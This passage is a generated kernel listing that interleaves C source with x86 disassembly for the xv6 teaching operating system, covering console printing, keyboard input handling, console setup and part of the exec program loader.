8010066c: 85 c0 test %eax,%eax
8010066e: 89 c1 mov %eax,%ecx
80100670: 0f 84 2b 01 00 00 je 801007a1 <cprintf+0x151>
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
80100676: 0f b6 00 movzbl (%eax),%eax
80100679: 31 db xor %ebx,%ebx
8010067b: 89 cf mov %ecx,%edi
8010067d: 8d 75 0c lea 0xc(%ebp),%esi
80100680: 85 c0 test %eax,%eax
80100682: 75 4c jne 801006d0 <cprintf+0x80>
80100684: eb 5f jmp 801006e5 <cprintf+0x95>
80100686: 66 90 xchg %ax,%ax
c = fmt[++i] & 0xff;
80100688: 83 c3 01 add $0x1,%ebx
8010068b: 0f b6 14 1f movzbl (%edi,%ebx,1),%edx
if(c == 0)
8010068f: 85 d2 test %edx,%edx
80100691: 74 52 je 801006e5 <cprintf+0x95>
switch(c){
80100693: 83 fa 70 cmp $0x70,%edx
80100696: 74 72 je 8010070a <cprintf+0xba>
80100698: 7f 66 jg 80100700 <cprintf+0xb0>
8010069a: 83 fa 25 cmp $0x25,%edx
8010069d: 8d 76 00 lea 0x0(%esi),%esi
801006a0: 0f 84 a2 00 00 00 je 80100748 <cprintf+0xf8>
801006a6: 83 fa 64 cmp $0x64,%edx
801006a9: 75 7d jne 80100728 <cprintf+0xd8>
printint(*argp++, 10, 1);
801006ab: 8d 46 04 lea 0x4(%esi),%eax
801006ae: b9 01 00 00 00 mov $0x1,%ecx
801006b3: 89 45 e4 mov %eax,-0x1c(%ebp)
801006b6: 8b 06 mov (%esi),%eax
801006b8: ba 0a 00 00 00 mov $0xa,%edx
801006bd: e8 ae fe ff ff call 80100570 <printint>
801006c2: 8b 75 e4 mov -0x1c(%ebp),%esi
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
801006c5: 83 c3 01 add $0x1,%ebx
801006c8: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax
801006cc: 85 c0 test %eax,%eax
801006ce: 74 15 je 801006e5 <cprintf+0x95>
if(c != '%'){
801006d0: 83 f8 25 cmp $0x25,%eax
801006d3: 74 b3 je 80100688 <cprintf+0x38>
consputc(c);
801006d5: e8 06 fd ff ff call 801003e0 <consputc>
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
801006da: 83 c3 01 add $0x1,%ebx
801006dd: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax
801006e1: 85 c0 test %eax,%eax
801006e3: 75 eb jne 801006d0 <cprintf+0x80>
if(locking)
801006e5: 8b 45 e0 mov -0x20(%ebp),%eax
801006e8: 85 c0 test %eax,%eax
801006ea: 74 0c je 801006f8 <cprintf+0xa8>
release(&cons.lock);
801006ec: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
801006f3: e8 28 3b 00 00 call 80104220 <release>
}
801006f8: 83 c4 1c add $0x1c,%esp
801006fb: 5b pop %ebx
801006fc: 5e pop %esi
801006fd: 5f pop %edi
801006fe: 5d pop %ebp
801006ff: c3 ret
switch(c){
80100700: 83 fa 73 cmp $0x73,%edx
80100703: 74 53 je 80100758 <cprintf+0x108>
80100705: 83 fa 78 cmp $0x78,%edx
80100708: 75 1e jne 80100728 <cprintf+0xd8>
printint(*argp++, 16, 0);
8010070a: 8d 46 04 lea 0x4(%esi),%eax
8010070d: 31 c9 xor %ecx,%ecx
8010070f: 89 45 e4 mov %eax,-0x1c(%ebp)
80100712: 8b 06 mov (%esi),%eax
80100714: ba 10 00 00 00 mov $0x10,%edx
80100719: e8 52 fe ff ff call 80100570 <printint>
8010071e: 8b 75 e4 mov -0x1c(%ebp),%esi
break;
80100721: eb a2 jmp 801006c5 <cprintf+0x75>
80100723: 90 nop
80100724: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
consputc('%');
80100728: b8 25 00 00 00 mov $0x25,%eax
8010072d: 89 55 e4 mov %edx,-0x1c(%ebp)
80100730: e8 ab fc ff ff call 801003e0 <consputc>
consputc(c);
80100735: 8b 55 e4 mov -0x1c(%ebp),%edx
80100738: 89 d0 mov %edx,%eax
8010073a: e8 a1 fc ff ff call 801003e0 <consputc>
8010073f: eb 99 jmp 801006da <cprintf+0x8a>
80100741: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
consputc('%');
80100748: b8 25 00 00 00 mov $0x25,%eax
8010074d: e8 8e fc ff ff call 801003e0 <consputc>
break;
80100752: e9 6e ff ff ff jmp 801006c5 <cprintf+0x75>
80100757: 90 nop
if((s = (char*)*argp++) == 0)
80100758: 8d 46 04 lea 0x4(%esi),%eax
8010075b: 8b 36 mov (%esi),%esi
8010075d: 89 45 e4 mov %eax,-0x1c(%ebp)
s = "(null)";
80100760: b8 98 6e 10 80 mov $0x80106e98,%eax
80100765: 85 f6 test %esi,%esi
80100767: 0f 44 f0 cmove %eax,%esi
for(; *s; s++)
8010076a: 0f be 06 movsbl (%esi),%eax
8010076d: 84 c0 test %al,%al
8010076f: 74 16 je 80100787 <cprintf+0x137>
80100771: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80100778: 83 c6 01 add $0x1,%esi
consputc(*s);
8010077b: e8 60 fc ff ff call 801003e0 <consputc>
for(; *s; s++)
80100780: 0f be 06 movsbl (%esi),%eax
80100783: 84 c0 test %al,%al
80100785: 75 f1 jne 80100778 <cprintf+0x128>
if((s = (char*)*argp++) == 0)
80100787: 8b 75 e4 mov -0x1c(%ebp),%esi
8010078a: e9 36 ff ff ff jmp 801006c5 <cprintf+0x75>
8010078f: 90 nop
acquire(&cons.lock);
80100790: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
80100797: e8 94 39 00 00 call 80104130 <acquire>
8010079c: e9 c8 fe ff ff jmp 80100669 <cprintf+0x19>
panic("null fmt");
801007a1: c7 04 24 9f 6e 10 80 movl $0x80106e9f,(%esp)
801007a8: e8 b3 fb ff ff call 80100360 <panic>
801007ad: 8d 76 00 lea 0x0(%esi),%esi
801007b0 <consoleintr>:
{
801007b0: 55 push %ebp
801007b1: 89 e5 mov %esp,%ebp
801007b3: 57 push %edi
801007b4: 56 push %esi
int c, doprocdump = 0;
801007b5: 31 f6 xor %esi,%esi
{
801007b7: 53 push %ebx
801007b8: 83 ec 1c sub $0x1c,%esp
801007bb: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&cons.lock);
801007be: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
801007c5: e8 66 39 00 00 call 80104130 <acquire>
801007ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
while((c = getc()) >= 0){
801007d0: ff d3 call *%ebx
801007d2: 85 c0 test %eax,%eax
801007d4: 89 c7 mov %eax,%edi
801007d6: 78 48 js 80100820 <consoleintr+0x70>
switch(c){
801007d8: 83 ff 10 cmp $0x10,%edi
801007db: 0f 84 2f 01 00 00 je 80100910 <consoleintr+0x160>
801007e1: 7e 5d jle 80100840 <consoleintr+0x90>
801007e3: 83 ff 15 cmp $0x15,%edi
801007e6: 0f 84 d4 00 00 00 je 801008c0 <consoleintr+0x110>
801007ec: 83 ff 7f cmp $0x7f,%edi
801007ef: 90 nop
801007f0: 75 53 jne 80100845 <consoleintr+0x95>
if(input.e != input.w){
801007f2: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
801007f7: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax
801007fd: 74 d1 je 801007d0 <consoleintr+0x20>
input.e--;
801007ff: 83 e8 01 sub $0x1,%eax
80100802: a3 a8 ff 10 80 mov %eax,0x8010ffa8
consputc(BACKSPACE);
80100807: b8 00 01 00 00 mov $0x100,%eax
8010080c: e8 cf fb ff ff call 801003e0 <consputc>
while((c = getc()) >= 0){
80100811: ff d3 call *%ebx
80100813: 85 c0 test %eax,%eax
80100815: 89 c7 mov %eax,%edi
80100817: 79 bf jns 801007d8 <consoleintr+0x28>
80100819: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
release(&cons.lock);
80100820: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
80100827: e8 f4 39 00 00 call 80104220 <release>
if(doprocdump) {
8010082c: 85 f6 test %esi,%esi
8010082e: 0f 85 ec 00 00 00 jne 80100920 <consoleintr+0x170>
}
80100834: 83 c4 1c add $0x1c,%esp
80100837: 5b pop %ebx
80100838: 5e pop %esi
80100839: 5f pop %edi
8010083a: 5d pop %ebp
8010083b: c3 ret
8010083c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
switch(c){
80100840: 83 ff 08 cmp $0x8,%edi
80100843: 74 ad je 801007f2 <consoleintr+0x42>
if(c != 0 && input.e-input.r < INPUT_BUF){
80100845: 85 ff test %edi,%edi
80100847: 74 87 je 801007d0 <consoleintr+0x20>
80100849: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
8010084e: 89 c2 mov %eax,%edx
80100850: 2b 15 a0 ff 10 80 sub 0x8010ffa0,%edx
80100856: 83 fa 7f cmp $0x7f,%edx
80100859: 0f 87 71 ff ff ff ja 801007d0 <consoleintr+0x20>
input.buf[input.e++ % INPUT_BUF] = c;
8010085f: 8d 50 01 lea 0x1(%eax),%edx
80100862: 83 e0 7f and $0x7f,%eax
c = (c == '\r') ? '\n' : c;
80100865: 83 ff 0d cmp $0xd,%edi
input.buf[input.e++ % INPUT_BUF] = c;
80100868: 89 15 a8 ff 10 80 mov %edx,0x8010ffa8
c = (c == '\r') ? '\n' : c;
8010086e: 0f 84 b8 00 00 00 je 8010092c <consoleintr+0x17c>
input.buf[input.e++ % INPUT_BUF] = c;
80100874: 89 f9 mov %edi,%ecx
80100876: 88 88 20 ff 10 80 mov %cl,-0x7fef00e0(%eax)
consputc(c);
8010087c: 89 f8 mov %edi,%eax
8010087e: e8 5d fb ff ff call 801003e0 <consputc>
if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){
80100883: 83 ff 04 cmp $0x4,%edi
80100886: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
8010088b: 74 19 je 801008a6 <consoleintr+0xf6>
8010088d: 83 ff 0a cmp $0xa,%edi
80100890: 74 14 je 801008a6 <consoleintr+0xf6>
80100892: 8b 0d a0 ff 10 80 mov 0x8010ffa0,%ecx
80100898: 8d 91 80 00 00 00 lea 0x80(%ecx),%edx
8010089e: 39 d0 cmp %edx,%eax
801008a0: 0f 85 2a ff ff ff jne 801007d0 <consoleintr+0x20>
wakeup(&input.r);
801008a6: c7 04 24 a0 ff 10 80 movl $0x8010ffa0,(%esp)
input.w = input.e;
801008ad: a3 a4 ff 10 80 mov %eax,0x8010ffa4
wakeup(&input.r);
801008b2: e8 c9 34 00 00 call 80103d80 <wakeup>
801008b7: e9 14 ff ff ff jmp 801007d0 <consoleintr+0x20>
801008bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while(input.e != input.w &&
801008c0: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
801008c5: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax
801008cb: 75 2b jne 801008f8 <consoleintr+0x148>
801008cd: e9 fe fe ff ff jmp 801007d0 <consoleintr+0x20>
801008d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
input.e--;
801008d8: a3 a8 ff 10 80 mov %eax,0x8010ffa8
consputc(BACKSPACE);
801008dd: b8 00 01 00 00 mov $0x100,%eax
801008e2: e8 f9 fa ff ff call 801003e0 <consputc>
while(input.e != input.w &&
801008e7: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
801008ec: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax
801008f2: 0f 84 d8 fe ff ff je 801007d0 <consoleintr+0x20>
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
801008f8: 83 e8 01 sub $0x1,%eax
801008fb: 89 c2 mov %eax,%edx
801008fd: 83 e2 7f and $0x7f,%edx
while(input.e != input.w &&
80100900: 80 ba 20 ff 10 80 0a cmpb $0xa,-0x7fef00e0(%edx)
80100907: 75 cf jne 801008d8 <consoleintr+0x128>
80100909: e9 c2 fe ff ff jmp 801007d0 <consoleintr+0x20>
8010090e: 66 90 xchg %ax,%ax
doprocdump = 1;
80100910: be 01 00 00 00 mov $0x1,%esi
80100915: e9 b6 fe ff ff jmp 801007d0 <consoleintr+0x20>
8010091a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
}
80100920: 83 c4 1c add $0x1c,%esp
80100923: 5b pop %ebx
80100924: 5e pop %esi
80100925: 5f pop %edi
80100926: 5d pop %ebp
procdump(); // now call procdump() wo. cons.lock held
80100927: e9 34 35 00 00 jmp 80103e60 <procdump>
input.buf[input.e++ % INPUT_BUF] = c;
8010092c: c6 80 20 ff 10 80 0a movb $0xa,-0x7fef00e0(%eax)
consputc(c);
80100933: b8 0a 00 00 00 mov $0xa,%eax
80100938: e8 a3 fa ff ff call 801003e0 <consputc>
8010093d: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
80100942: e9 5f ff ff ff jmp 801008a6 <consoleintr+0xf6>
80100947: 89 f6 mov %esi,%esi
80100949: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80100950 <consoleinit>:
void
consoleinit(void)
{
80100950: 55 push %ebp
80100951: 89 e5 mov %esp,%ebp
80100953: 83 ec 18 sub $0x18,%esp
initlock(&cons.lock, "console");
80100956: c7 44 24 04 a8 6e 10 movl $0x80106ea8,0x4(%esp)
8010095d: 80
8010095e: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
80100965: e8 d6 36 00 00 call 80104040 <initlock>
devsw[CONSOLE].write = consolewrite;
devsw[CONSOLE].read = consoleread;
cons.locking = 1;
ioapicenable(IRQ_KBD, 0);
8010096a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80100971: 00
80100972: c7 04 24 01 00 00 00 movl $0x1,(%esp)
devsw[CONSOLE].write = consolewrite;
80100979: c7 05 6c 09 11 80 f0 movl $0x801005f0,0x8011096c
80100980: 05 10 80
devsw[CONSOLE].read = consoleread;
80100983: c7 05 68 09 11 80 70 movl $0x80100270,0x80110968
8010098a: 02 10 80
cons.locking = 1;
8010098d: c7 05 54 a5 10 80 01 movl $0x1,0x8010a554
80100994: 00 00 00
ioapicenable(IRQ_KBD, 0);
80100997: e8 04 19 00 00 call 801022a0 <ioapicenable>
}
8010099c: c9 leave
8010099d: c3 ret
8010099e: 66 90 xchg %ax,%ax
801009a0 <exec>:
#include "x86.h"
#include "elf.h"
int
exec(char *path, char **argv)
{
801009a0: 55 push %ebp
801009a1: 89 e5 mov %esp,%ebp
801009a3: 57 push %edi
801009a4: 56 push %esi
801009a5: 53 push %ebx
801009a6: 81 ec 2c 01 00 00 sub $0x12c,%esp
uint argc, sz, sp, ustack[3+MAXARG+1];
struct elfhdr elf;
struct inode *ip;
struct proghdr ph;
pde_t *pgdir, *oldpgdir;
struct proc *curproc = myproc();
801009ac: e8 df 2c 00 00 call 80103690 <myproc>
801009b1: 89 85 f4 fe ff ff mov %eax,-0x10c(%ebp)
begin_op();
801009b7: e8 44 21 00 00 call 80102b00 <begin_op>
if((ip = namei(path)) == 0){
801009bc: 8b 45 08 mov 0x8(%ebp),%eax
801009bf: 89 04 24 mov %eax,(%esp)
801009c2: e8 29 15 00 00 call 80101ef0 <namei>
801009c7: 85 c0 test %eax,%eax
801009c9: 89 c3 mov %eax,%ebx
801009cb: 0f 84 4f 02 00 00 je 80100c20 <exec+0x280>
end_op();
cprintf("exec: fail\n");
return -1;
}
ilock(ip);
801009d1: 89 04 24 mov %eax,(%esp)
801009d4: e8 c7 0c 00 00 call 801016a0 <ilock>
pgdir = 0;
// Check ELF header
if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf))
801009d9: 8d 85 24 ff ff ff lea -0xdc(%ebp),%eax
801009df: c7 44 24 0c 34 00 00 movl $0x34,0xc(%esp)
801009e6: 00
801009e7: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
801009ee: 00
801009ef: 89 44 24 04 mov %eax,0x4(%esp)
801009f3: 89 1c 24 mov %ebx,(%esp)
801009f6: e8 55 0f 00 00 call 80101950 <readi>
801009fb: 83 f8 34 cmp $0x34,%eax
801009fe: 74 20 je 80100a20 <exec+0x80>
bad:
if(pgdir)
freevm(pgdir);
if(ip){
iunlockput(ip);
80100a00: 89 1c 24 mov %ebx,(%esp)
80100a03: e8 f8 0e 00 00 call 80101900 <iunlockput>
end_op();
80100a08: e8 63 21 00 00 call 80102b70 <end_op>
}
return -1;
80100a0d: b8 ff ff ff ff mov $0xffffffff,%eax
}
80100a12: 81 c4 2c 01 00 00 add $0x12c,%esp
80100a18: 5b pop %ebx
80100a19: 5e pop %esi
80100a1a: 5f pop %edi
80100a1b: 5d pop %ebp
80100a1c: c3 ret
80100a1d: 8d 76 00 lea 0x0(%esi),%esi
if(elf.magic != ELF_MAGIC)
80100a20: 81 bd 24 ff ff ff 7f cmpl $0x464c457f,-0xdc(%ebp)
80100a27: 45 4c 46
80100a2a: 75 d4 jne 80100a00 <exec+0x60>
if((pgdir = setupkvm()) == 0)
80100a2c: e8 3f 60 00 00 call 80106a70 <setupkvm>
80100a31: 85 c0 test %eax,%eax
80100a33: 89 85 f0 fe ff ff mov %eax,-0x110(%ebp)
80100a39: 74 c5 je 80100a00 <exec+0x60>
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100a3b: 66 83 bd 50 ff ff ff cmpw $0x0,-0xb0(%ebp)
80100a42: 00
80100a43: 8b b5 40 ff ff ff mov -0xc0(%ebp),%esi
sz = 0;
80100a49: c7 85 ec fe ff ff 00 movl $0x0,-0x114(%ebp)
80100a50: 00 00 00
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100a53: 0f 84 da 00 00 00 je 80100b33 <exec+0x193>
80100a59: 31 ff xor %edi,%edi
80100a5b: eb 18 jmp 80100a75 <exec+0xd5>
80100a5d: 8d 76 00 lea 0x0(%esi),%esi
80100a60: 0f b7 85 50 ff ff ff movzwl -0xb0(%ebp),%eax
80100a67: 83 c7 01 add $0x1,%edi
80100a6a: 83 c6 20 add $0x20,%esi
80100a6d: 39 f8 cmp %edi,%eax
80100a6f: 0f 8e be 00 00 00 jle 80100b33 <exec+0x193>
if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph))
80100a75: 8d 85 04 ff ff ff lea -0xfc(%ebp),%eax
80100a7b: c7 44 24 0c 20 00 00 movl $0x20,0xc(%esp)
80100a82: 00
80100a83: 89 74 24 08 mov %esi,0x8(%esp)
80100a87: 89 44 24 04 mov %eax,0x4(%esp)
80100a8b: 89 1c 24 mov %ebx,(%esp)
80100a8e: e8 bd 0e 00 00 call 80101950 <readi>
80100a93: 83 f8 20 cmp $0x20,%eax
80100a96: 0f 85 84 00 00 00 jne 80100b20 <exec+0x180>
if(ph.type != ELF_PROG_LOAD)
80100a9c: 83 bd 04 ff ff ff 01 cmpl $0x1,-0xfc(%ebp)
80100aa3: 75 bb jne 80100a60 <exec+0xc0>
if(ph.memsz < ph.filesz)
80100aa5: 8b 85 18 ff ff ff mov -0xe8(%ebp),%eax
80100aab: 3b 85 14 ff ff ff cmp -0xec(%ebp),%eax
80100ab1: 72 6d jb 80100b20 <exec+0x180>
if(ph.vaddr + ph.memsz < ph.vaddr)
80100ab3: 03 85 0c ff ff ff add -0xf4(%ebp),%eax
80100ab9: 72 65 jb 80100b20 <exec+0x180>
if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0)
80100abb: 89 44 24 08 mov %eax,0x8(%esp)
80100abf: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax
80100ac5: 89 44 24 04 mov %eax,0x4(%esp)
80100ac9: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax
80100acf: 89 04 24 mov %eax,(%esp)
80100ad2: e8 09 5e 00 00 call 801068e0 <allocuvm>
80100ad7: 85 c0 test %eax,%eax
80100ad9: 89 85 ec fe ff ff mov %eax,-0x114(%ebp)
80100adf: 74 3f je 80100b20 <exec+0x180>
if(ph.vaddr % PGSIZE != 0)
80100ae1: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax
80100ae7: a9 ff 0f 00 00 test $0xfff,%eax
80100aec: 75 32 jne 80100b20 <exec+0x180>
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
80100aee: 8b 95 14 ff ff ff mov -0xec(%ebp),%edx
80100af4: 89 44 24 04 mov %eax,0x4(%esp)
80100af8: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax
80100afe: 89 5c 24 08 mov %ebx,0x8(%esp)
80100b02: 89 54 24 10 mov %edx,0x10(%esp)
80100b06: 8b 95 08 ff ff ff mov -0xf8(%ebp),%edx
80100b0c: 89 04 24 mov %eax,(%esp)
80100b0f: 89 54 24 0c mov %edx,0xc(%esp)
80100b13: e8 08 5d 00 00 call 80106820 <loaduvm>
80100b18: 85 c0 test %eax,%eax
80100b1a: 0f 89 40 ff ff ff jns 80100a60 <exec+0xc0>
freevm(pgdir);
80100b20: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax
80100b26: 89 04 24 mov %eax,(%esp)
80100b29: e8 c2 5e 00 00 call 801069f0 <freevm>
80100b2e: e9 cd fe ff ff jmp 80100a00 <exec+0x60>
iunlockput(ip);
80100b33: 89 1c 24 mov %ebx,(%esp)
80100b36: e8 c5 0d 00 00 call 80101900 <iunlockput>
80100b3b: 90 nop
80100b3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
end_op();
80100b40: e8 2b 20 00 00 call 80102b70 <end_op>
if (allocuvm(pgdir, STACKTOP - PGSIZE, STACKTOP) == 0)
80100b45: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax
80100b4b: c7 44 24 08 fc ff ff movl $0x7ffffffc,0x8(%esp)
80100b52: 7f
80100b53: c7 44 24 04 fc ef ff movl $0x7fffeffc,0x4(%esp)
80100b5a: 7f
80100b5b: 89 04 24 mov %eax,(%esp)
80100b5e: e8 7d 5d 00 00 call 801068e0 <allocuvm>
80100b63: 85 c0 test %eax,%eax
80100b65: 0f 84 9d 00 00 00 je 80100c08 <exec+0x268>
curproc->numPage = 1;
80100b6b: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100b71: c7 40 7c 01 00 00 00 movl $0x1,0x7c(%eax)
for(argc = 0; argv[argc]; argc++) {
80100b78: 8b 45 0c mov 0xc(%ebp),%eax
80100b7b: 8b 00 mov (%eax),%eax
80100b7d: 85 c0 test %eax,%eax
80100b7f: 0f 84 97 01 00 00 je 80100d1c <exec+0x37c>
80100b85: 8b 4d 0c mov 0xc(%ebp),%ecx
80100b88: 31 d2 xor %edx,%edx
sp = STACKTOP;
80100b8a: bb fc ff ff 7f mov $0x7ffffffc,%ebx
80100b8f: 8d 71 04 lea 0x4(%ecx),%esi
for(argc = 0; argv[argc]; argc++) {
80100b92: 89 cf mov %ecx,%edi
80100b94: 89 d1 mov %edx,%ecx
80100b96: 89 f2 mov %esi,%edx
80100b98: 89 ce mov %ecx,%esi
80100b9a: eb 2a jmp 80100bc6 <exec+0x226>
80100b9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100ba0: 8b 95 e8 fe ff ff mov -0x118(%ebp),%edx
ustack[3+argc] = sp;
80100ba6: 8d 8d 58 ff ff ff lea -0xa8(%ebp),%ecx
80100bac: 89 9c b5 64 ff ff ff mov %ebx,-0x9c(%ebp,%esi,4)
for(argc = 0; argv[argc]; argc++) {
80100bb3: 83 c6 01 add $0x1,%esi
80100bb6: 8b 02 mov (%edx),%eax
80100bb8: 89 d7 mov %edx,%edi
80100bba: 85 c0 test %eax,%eax
80100bbc: 74 7d je 80100c3b <exec+0x29b>
80100bbe: 83 c2 04 add $0x4,%edx
if(argc >= MAXARG)
80100bc1: 83 fe 20 cmp $0x20,%esi
80100bc4: 74 42 je 80100c08 <exec+0x268>
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100bc6: 89 04 24 mov %eax,(%esp)
80100bc9: 89 95 e8 fe ff ff mov %edx,-0x118(%ebp)
80100bcf: e8 bc 38 00 00 call 80104490 <strlen>
80100bd4: f7 d0 not %eax
80100bd6: 01 c3 add %eax,%ebx
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
80100bd8: 8b 07 mov (%edi),%eax
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100bda: 83 e3 fc and $0xfffffffc,%ebx
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
80100bdd: 89 04 24 mov %eax,(%esp)
80100be0: e8 ab 38 00 00 call 80104490 <strlen>
80100be5: 83 c0 01 add $0x1,%eax
80100be8: 89 44 24 0c mov %eax,0xc(%esp)
80100bec: 8b 07 mov (%edi),%eax
80100bee: 89 5c 24 04 mov %ebx,0x4(%esp)
80100bf2: 89 44 24 08 mov %eax,0x8(%esp)
80100bf6: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax
80100bfc: 89 04 24 mov %eax,(%esp)
80100bff: e8 1c 61 00 00 call 80106d20 <copyout>
80100c04: 85 c0 test %eax,%eax
80100c06: 79 98 jns 80100ba0 <exec+0x200>
freevm(pgdir);
80100c08: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax
80100c0e: 89 04 24 mov %eax,(%esp)
80100c11: e8 da 5d 00 00 call 801069f0 <freevm>
return -1;
80100c16: b8 ff ff ff ff mov $0xffffffff,%eax
80100c1b: e9 f2 fd ff ff jmp 80100a12 <exec+0x72>
end_op();
80100c20: e8 4b 1f 00 00 call 80102b70 <end_op>
cprintf("exec: fail\n");
80100c25: c7 04 24 c1 6e 10 80 movl $0x80106ec1,(%esp)
80100c2c: e8 1f fa ff ff call 80100650 <cprintf>
return -1;
80100c31: b8 ff ff ff ff mov $0xffffffff,%eax
80100c36: e9 d7 fd ff ff jmp 80100a12 <exec+0x72>
80100c3b: 89 f2 mov %esi,%edx
ustack[3+argc] = 0;
80100c3d: c7 84 95 64 ff ff ff movl $0x0,-0x9c(%ebp,%edx,4)
80100c44: 00 00 00 00
ustack[2] = sp - (argc+1)*4; // argv pointer
80100c48: 8d 04 95 04 00 00 00 lea 0x4(,%edx,4),%eax
ustack[1] = argc;
80100c4f: 89 95 5c ff ff ff mov %edx,-0xa4(%ebp)
ustack[2] = sp - (argc+1)*4; // argv pointer
80100c55: 89 da mov %ebx,%edx
80100c57: 29 c2 sub %eax,%edx
sp -= (3+argc+1) * 4;
80100c59: 83 c0 0c add $0xc,%eax
80100c5c: 29 c3 sub %eax,%ebx
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100c5e: 89 44 24 0c mov %eax,0xc(%esp)
80100c62: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax
80100c68: 89 4c 24 08 mov %ecx,0x8(%esp)
80100c6c: 89 5c 24 04 mov %ebx,0x4(%esp)
ustack[0] = 0xffffffff; // fake return PC
80100c70: c7 85 58 ff ff ff ff movl $0xffffffff,-0xa8(%ebp)
80100c77: ff ff ff
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100c7a: 89 04 24 mov %eax,(%esp)
ustack[2] = sp - (argc+1)*4; // argv pointer
80100c7d: 89 95 60 ff ff ff mov %edx,-0xa0(%ebp)
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100c83: e8 98 60 00 00 call 80106d20 <copyout>
80100c88: 85 c0 test %eax,%eax
80100c8a: 0f 88 78 ff ff ff js 80100c08 <exec+0x268>
for(last=s=path; *s; s++)
80100c90: 8b 45 08 mov 0x8(%ebp),%eax
80100c93: 0f b6 10 movzbl (%eax),%edx
80100c96: 84 d2 test %dl,%dl
80100c98: 74 19 je 80100cb3 <exec+0x313>
80100c9a: 8b 4d 08 mov 0x8(%ebp),%ecx
80100c9d: 83 c0 01 add $0x1,%eax
last = s+1;
80100ca0: 80 fa 2f cmp $0x2f,%dl
for(last=s=path; *s; s++)
80100ca3: 0f b6 10 movzbl (%eax),%edx
last = s+1;
80100ca6: 0f 44 c8 cmove %eax,%ecx
80100ca9: 83 c0 01 add $0x1,%eax
for(last=s=path; *s; s++)
80100cac: 84 d2 test %dl,%dl
80100cae: 75 f0 jne 80100ca0 <exec+0x300>
80100cb0: 89 4d 08 mov %ecx,0x8(%ebp)
safestrcpy(curproc->name, last, sizeof(curproc->name));
80100cb3: 8b bd f4 fe ff ff mov -0x10c(%ebp),%edi
80100cb9: 8b 45 08 mov 0x8(%ebp),%eax
80100cbc: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80100cc3: 00
80100cc4: 89 44 24 04 mov %eax,0x4(%esp)
80100cc8: 89 f8 mov %edi,%eax
80100cca: 83 c0 6c add $0x6c,%eax
80100ccd: 89 04 24 mov %eax,(%esp)
80100cd0: e8 7b 37 00 00 call 80104450 <safestrcpy>
sz = PGROUNDUP(sz);
80100cd5: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax
curproc->pgdir = pgdir;
80100cdb: 8b 95 f0 fe ff ff mov -0x110(%ebp),%edx
oldpgdir = curproc->pgdir;
80100ce1: 8b 77 04 mov 0x4(%edi),%esi
sz = PGROUNDUP(sz);
80100ce4: 05 ff 0f 00 00 add $0xfff,%eax
80100ce9: 25 00 f0 ff ff and $0xfffff000,%eax
80100cee: 89 07 mov %eax,(%edi)
curproc->tf->eip = elf.entry; // main
80100cf0: 8b 47 18 mov 0x18(%edi),%eax
curproc->pgdir = pgdir;
80100cf3: 89 57 04 mov %edx,0x4(%edi)
curproc->tf->eip = elf.entry; // main
80100cf6: 8b 95 3c ff ff ff mov -0xc4(%ebp),%edx
80100cfc: 89 50 38 mov %edx,0x38(%eax)
